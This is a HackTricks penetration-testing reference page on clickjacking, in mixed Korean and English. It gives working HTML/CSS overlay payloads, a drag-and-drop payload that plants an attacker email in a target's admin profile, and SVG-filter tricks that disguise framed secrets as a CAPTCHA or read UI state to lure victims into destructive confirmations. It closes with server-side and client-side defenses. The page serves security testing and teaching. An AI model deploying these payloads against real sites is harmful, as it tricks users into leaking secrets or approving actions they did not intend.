Clickjacking
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Clickjacking이란
In a clickjacking attack, a user is tricked into clicking an element on a webpage that is either invisible or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.
폼 미리 채우기 트릭
때때로 페이지를 로딩할 때 GET parameters를 사용해 폼 필드의 값을 채우는 것이 가능합니다. 공격자는 이 동작을 악용해 임의의 데이터로 폼을 채우고 clickjacking payload를 전송하여 사용자가 Submit 버튼을 누르도록 할 수 있습니다.
Drag&Drop으로 폼 채우기
사용자에게 폼을 작성하도록 해야 하지만 특정 정보(예: email 및/또는 공격자가 알고 있는 특정 password)를 직접 입력해 달라고 요청하고 싶지 않은 경우, 사용자가 Drag&Drop으로 당신이 제어하는 데이터를 입력하도록 요청하면 됩니다. 예시는 this example을 참고하세요.
기본 Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
다단계 Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
SVG Filters / Cross-Origin Iframe UI Redressing
Modern Chromium/WebKit/Gecko builds let CSS filter:url(#id) be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as SourceGraphic, so primitives such as feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM. A simple Liquid-Glass style filter looks like:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- 유용한 프리미티브:
feImage는 공격자 비트맵(예: overlays, displacement maps)을 로드하고;feFlood는 단색 matte를 생성하며;feOffset/feGaussianBlur는 하이라이트를 정교하게 하고;feDisplacementMap은 텍스트를 굴절/왜곡하며;feComposite operator="arithmetic"는 임의의 채널별 수학 연산(r = k1*i1*i2 + k2*i1 + k3*i2 + k4)을 구현하는데, 이는 contrast boosting, masking, AND/OR operations에 충분하다;feTile은 픽셀 프로브를 자르고 복제하고;feMorphology는 획을 키우거나 줄이며;feColorMatrix는 luma를 alpha로 이동시켜 정밀한 마스크를 만든다.
비밀을 CAPTCHA-style 프롬프트로 왜곡하기
프레임 포함 가능한 엔드포인트가 비밀(tokens, reset codes, API keys)을 렌더링하는 경우, 공격자는 이를 CAPTCHA처럼 보이게 왜곡하여 수동 전사를 강요할 수 있다:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.
피해자 입력의 재맥락화
필터는 사용자 키스트로크는 유지하면서 placeholder/validation 텍스트를 외과적으로 삭제할 수 있다. 한 가지 워크플로우:
feComposite operator="arithmetic" k2≈4는 밝기를 증폭시켜 회색 보조 텍스트가 흰색으로 포화되게 한다.feTile은 작업 영역을 입력 사각형으로 제한한다.feMorphology operator="erode"는 피해자가 입력한 어두운 글리프를 두껍게 만들고result="thick"로 저장한다.feFlood는 흰색 판을 만들고,feBlend mode="difference"로thick과 결합하며, 두 번째feComposite k2≈100는 이를 강한 luma matte로 바꾼다.feColorMatrix는 그 luma를 알파로 이동시키고,feComposite in="SourceGraphic" operator="in"은 사용자 입력 글리프만 유지한다.- 또 다른
feBlend in2="white"와 얇은 크롭으로 깔끔한 텍스트박스를 만든 뒤, 공격자는 자신의 HTML 레이블(예: “Enter your email”)을 오버레이하고 숨겨진 iframe은 여전히 피해자 origin의 비밀번호 정책을 강제한다.
Safari는 feTile에서 문제가 있으며; 동일한 효과는 WebKit-only 페이로드의 경우 feFlood + feColorMatrix + feComposite로 구성한 spatial mattes로 재현할 수 있다.
픽셀 프로브, 논리 및 상태 기계
feTile로 2–4 px 영역을 크롭하고 그것을 뷰포트의 100%로 타일링하면, 공격자는 샘플된 색상을 전체 프레임 텍스처로 변환하여 임계값 처리를 통해 boolean mask로 만들 수 있다:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
임의의 색에 대해, feFlood 참조(예: #0B57D0)와 feBlend mode="difference" 및 또 다른 산술 합성(k2≈100, 허용오차로 k4)을 조합하면 샘플된 픽셀의 색이 목표 색조와 일치할 때만 흰색을 출력합니다. 이러한 마스크를 feComposite에 k1..k4를 조정해 넣으면 논리 게이트가 만들어집니다: AND는 k1=1로, OR는 k2=k3=1로, XOR는 feBlend mode="difference"로, NOT는 흰색과 블렌딩하여 구현합니다. 게이트를 연결하면 필터 그래프 내부에 full adder를 구성할 수 있어 이 파이프라인이 함수적으로 완비됨을 증명합니다.
따라서 공격자는 JavaScript 없이 UI 상태를 읽을 수 있습니다. 모달 워크플로에서의 예제 불리언 값들:
- D (dialog visible): 어두워진 모서리를 검사하여 흰색과 비교합니다.
- L (dialog loaded): 준비되면 버튼이 나타나는 좌표를 탐지합니다.
- C (checkbox checked): 체크박스 픽셀을 활성 파랑
#0B57D0과 비교합니다. - R (red success/failure banner): 배너 영역 내부에서
feMorphology와 적색 임계값을 사용합니다.
각 감지된 상태는 feImage xlink:href="data:..."로 임베드된 서로 다른 오버레이 비트맵의 게이트 역할을 합니다. 이러한 비트맵을 D, L, C, R 마스크로 가리면 오버레이가 실제 대화상자와 동기화되어 DOM을 전혀 노출하지 않고도 (비밀번호 재설정, 승인, 삭제 같은 파괴적 확인) 여러 단계의 워크플로에서 피해자를 유도합니다.
Browser extensions: DOM-based autofill clickjacking
피해자 페이지를 iframe에 넣는 것 외에도, 공격자는 페이지에 주입된 브라우저 확장 UI 요소를 겨냥할 수 있습니다. Password managers는 포커스된 입력 주변에 autofill 드롭다운을 렌더링합니다; 공격자가 제어하는 필드를 포커스시키고 확장 기능의 드롭다운을 숨기거나(불투명도/오버레이/상위 레이어 트릭) 가려버리면, 강제된 사용자의 클릭으로 저장된 항목이 선택되어 민감한 데이터가 공격자 제어 입력에 채워질 수 있습니다. 이 변형은 iframe 노출이 필요 없으며 전적으로 DOM/CSS 조작으로 동작합니다.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Client-Side Defenses
클라이언트 측에서 실행되는 스크립트는 Clickjacking을 방지하기 위한 조치를 취할 수 있습니다:
- 애플리케이션 창이 메인 또는 최상위 창인지 확인합니다.
- 모든 프레임을 보이도록 만듭니다.
- 보이지 않는 프레임에서의 클릭을 차단합니다.
- 잠재적 Clickjacking 시도를 탐지하고 사용자에게 경고합니다.
그러나 이러한 frame-busting 스크립트는 우회될 수 있습니다:
- 브라우저 보안 설정: 일부 브라우저는 보안 설정이나 JavaScript 미지원으로 인해 이러한 스크립트를 차단할 수 있습니다.
- HTML5 iframe
sandboxAttribute: 공격자가sandbox속성을allow-forms또는allow-scripts값으로 설정하고allow-top-navigation을 제외하면 프레임 버스터 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 최상위 창인지 확인하는 것을 방지합니다. 예:
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms 및 allow-scripts 값은 iframe 내에서 동작을 허용하는 반면 최상위 탐색을 비활성화합니다. 공격 유형에 따라 타깃 사이트의 의도된 기능을 보장하려면 allow-same-origin 및 allow-modals와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 어느 권한을 허용해야 하는지 안내할 수 있습니다.
서버 측 방어
X-Frame-Options
The X-Frame-Options HTTP response header는 브라우저에 페이지가 <frame> 또는 <iframe>에서 렌더링되는 것이 합법적인지 알려주어 Clickjacking을 방지하는 데 도움을 줍니다:
X-Frame-Options: deny- 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.X-Frame-Options: sameorigin- 현재 사이트만 콘텐츠를 프레임할 수 있습니다.X-Frame-Options: allow-from https://trusted.com- 지정된 ’uri’만 페이지를 프레임할 수 있습니다.- 제한 사항: 브라우저가 이 지시문을 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP의 frame-ancestors 지시문을 선호합니다.
Content Security Policy (CSP) frame-ancestors directive
CSP의 frame-ancestors 지시문은 Clickjacking 방어를 위해 권장되는 방법입니다:
frame-ancestors 'none'-X-Frame-Options: deny와 유사합니다.frame-ancestors 'self'-X-Frame-Options: sameorigin와 유사합니다.frame-ancestors trusted.com-X-Frame-Options: allow-from와 유사합니다.
예를 들어, 다음 CSP는 동일 도메인에서의 프레이밍만 허용합니다:
Content-Security-Policy: frame-ancestors 'self';
자세한 내용과 복잡한 예제는 frame-ancestors CSP documentation 및 Mozilla’s CSP frame-ancestors documentation에서 확인할 수 있습니다.
Content Security Policy (CSP)와 child-src 및 frame-src
**Content Security Policy (CSP)**는 브라우저가 어떤 소스에서 콘텐츠를 로드하도록 허용할지 지정함으로써 Clickjacking 및 기타 코드 인젝션 공격을 방지하는 보안 수단입니다.
frame-src Directive
- 프레임에 허용되는 유효한 소스를 정의합니다.
default-src지시문보다 더 구체적입니다.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
이 정책은 동일 출처(self)와 https://trusted-website.com에서 온 프레임을 허용합니다.
child-src 디렉티브
- CSP level 2에서 웹 워커와 프레임의 유효한 소스를 설정하기 위해 도입되었습니다.
- frame-src 및 worker-src의 대체(fallback)로 동작합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
이 정책은 동일 출처(self)와 https://trusted-website.com에서 오는 프레임 및 워커를 허용합니다.
사용 시 참고:
- 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
- 대체 동작: frame-src가 없으면 child-src가 프레임의 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
- 엄격한 소스 정의: 지침(디렉티브)에 신뢰할 수 있는 소스만 포함하여 악용을 방지하세요.
JavaScript 프레임 차단 스크립트
완전히 확실한 방법은 아니지만, JavaScript 기반의 프레임 차단 스크립트를 사용해 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예:
if (top !== self) {
top.location = self.location
}
Anti-CSRF 토큰 적용
- 토큰 검증: 웹 애플리케이션에서 anti-CSRF tokens를 사용하여 상태 변경 요청이 사용자의 의도에 따른 것이며 Clickjacked page를 통해 발생한 것이 아님을 보장하세요.
참고자료
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

